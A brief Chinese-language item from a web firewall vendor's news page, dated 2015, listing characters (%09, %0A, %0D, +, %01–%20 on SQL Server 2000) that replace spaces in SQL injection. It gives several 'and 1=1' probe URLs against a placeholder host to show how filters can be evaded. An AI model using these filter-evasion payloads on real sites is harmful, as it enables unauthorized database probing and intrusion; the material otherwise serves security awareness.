English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> SQL注入中可以替换空格的字符
 

SQL注入中可以替换空格的字符

威盾防火墙 2015-01-26
 
默认是： 　　http://www.xxx.com/shownotice.asp?id=78 and 1=1 　　实际上用%09 %0A %0D +都可以替代空格 　　例如： 　　http://www.xxx.com/shownotice.asp?id=78%09and%091=1 　　http://www.xxx.com/shownotice.asp?id=78%0Aand%0A1=1 　　http://www.xxx.com/shownotice.asp?id=78%0Dand%0D1=1 　　http://www.xxx.com/shownotice.asp?id=78%+and+1=1 　　以下可以在SQLServer2000下可以替换%01到%20都可以 　　http://www.xxx.com/shownotice.asp?id=78%19and%191=1
相关内容： 最新内容：
如何防范SQL注入——编程篇[2015-01-26]
浅析C#启动停止SQL数据库服务之方法[2015-01-26]
Sqlparameter防SQL注入[2015-01-26]
什么是SQL注入攻击,有什么危害[2015-01-26]
中小企业安全调查 SQL注入仍是主要威胁[2015-01-26]
黑客对ASP.Net平台网站发起SQL注入攻击[2015-01-26]
 如何防范SQL注入——编程篇[2015-01-26]
浅析C#启动停止SQL数据库服务之方法[2015-01-26]
Sqlparameter防SQL注入[2015-01-26]
用状态机实现XML解析器 - C++环境[2015-01-26]
什么是SQL注入攻击,有什么危害[2015-01-26]
中小企业安全调查 SQL注入仍是主要威胁[2015-01-26]